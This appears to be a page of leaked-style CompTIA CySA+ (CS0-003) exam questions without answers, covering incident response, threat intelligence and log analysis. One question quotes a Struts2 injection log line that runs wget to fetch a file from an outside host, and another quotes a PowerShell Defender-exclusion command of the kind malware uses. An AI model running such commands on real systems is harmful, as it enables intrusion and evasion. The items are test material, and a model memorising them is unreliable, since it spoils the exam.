CompTIA CS0-003 Exam Dumps

 An email hosting provider added a new data center with new public IP addresses. Which of the following most likely needs to be updated to ensure emails from the new data center do not get blocked by spam filters?

 Which of the following attributes is part of the Diamond Model of Intrusion Analysis?

An organization has a critical financial application hosted online that does not allow event logging to send to the corporate SIEM. Which of the following is the best option for the security analyst to configure to improve the efficiency of security operations?

An incident response team member is triaging a Linux server. The output is shown below: $ cat /etc/passwd root:x:0:0::/:/bin/zsh bin:x:1:1::/:/usr/bin/nologin daemon:x:2:2::/:/usr/bin/nologin mail:x:8:12::/var/spool/mail:/usr/bin/nologin http:x:33:33::/srv/http:/bin/bash nobody:x:65534:65534:Nobody:/:/usr/bin/nologin git:x:972:972:git daemon user:/:/usr/bin/git-shell $ cat /var/log/httpd at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java: 241) at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java: 208) at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:316) at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) WARN [struts2.dispatcher.multipart.JakartaMultipartRequest] Unable to parse request container.getlnstance.(#wget http://grohl.ve.da/tmp/brkgtr.zip;#whoami) at org.apache.commons.fileupload.FileUploadBase$FileUploadBase$FileItemIteratorImpl.<ini t>(FileUploadBase.java:947) at org.apache.commons.fileupload.FileUploadBase.getItemiterator(FileUploadBase.java:334) at org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMult iPartRequest.java:188) org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMult ipartRequest.java:423) Which of the following is the adversary most likely trying to do?

A security analyst needs to secure digital evidence related to an incident. The security analyst must ensure that the accuracy of the data cannot be repudiated. Which of the following should be implemented?

A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization. Which of the following will produce the data needed for the briefing?

 Which of the following would an organization use to develop a business continuity plan? 

An IT professional is reviewing the output from the top command in Linux. In this company, only IT and security staff are allowed to have elevated privileges. Both departments have confirmed they are not working on anything that requires elevated privileges. Based on the output below: PID USER VIRT RES SHR %CPU %MEM TIME+ COMMAND 34834 person 4980644 224288 111076 5.3 14.44 1:41.44 cinnamon34218 person 51052 30920 23828 4.7 0.2 0:26.54 Xorg 2264 root 449628 143500 26372 14.0 3.1 0:12.38 bash 35963 xrdp 711940 42356 10560 2.0 0.2 0:06.81xrdp Which of the following PIDs is most likely to contribute to data exfiltration?

 A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become?

Which of the following is most appropriate to use with SOAR when the security team would like to automate actions across different vendor platforms?

Which of the following best explains the importance of utilizing an incident response playbook?

A list of loCs released by a government security organization contains the SHA-256 hash for a Microsoft-signed legitimate binary, svchost. exe. Which of the following best describes the result if security teams add this indicator to their detection signatures?

 A vulnerability scan shows the following issues: Asset Type CVSS Score Exploit VectorWorkstations 6.5 RDP vulnerability Storage Server 9.0 Unauthorized access due to server application vulnerability Firewall 8.9 Default password vulnerability Web Server 10.0 Zero-day vulnerability (vendor working on patch) Which of the following actions should the security analyst take first?

 A security analyst would like to integrate two different SaaS-based security tools so that one tool can notify the other in the event a threat is detected. Which of the following should the analyst utilize to best accomplish this goal?

An employee downloads a freeware program to change the desktop to the classic look of legacy Windows. Shortly after the employee installs the program, a high volume of random DNS queries begin to originate from the system. An investigation on the system reveals the following: Add-MpPreference -ExclusionPath '%Program Filest\ksysconfig' Which of the following is possibly occurring?

 A web application has a function to retrieve content from an internal URL to identify CSRF attacks in the logs. The security analyst is building a regular expression that will filter out the correctly formatted requests. The target URL is https://10.1.2.3/api, and the receiving API only accepts GET requests and uses a single integer argument named "id." Which of the following regular expressions should the analyst use to achieve the objective?

 A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accurately?

 Which of the following is the best authentication method to secure access to sensitive data?

 Which of the following should be updated after a lessons-learned review?

An analyst is trying to capture anomalous traffic from a compromised host. Which of the following are the best tools for achieving this objective? (Select two).

 An analyst is evaluating a vulnerability management dashboard. The analyst sees that a previously remediated vulnerability has reappeared on a database server. Which of the following is the most likely cause?

 Following a recent security incident, the Chief Information Security Officer is concerned with improving visibility and reporting of malicious actors in the environment. The goal is to reduce the time to prevent lateral movement and potential data exfiltration. Which of the following techniques will best achieve the improvement?

 Which of the following security operations tasks are ideal for automation?

A security team needs to demonstrate how prepared the team is in the event of a cyberattack. Which of the following would best demonstrate a real-world incident without impacting operations?

A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?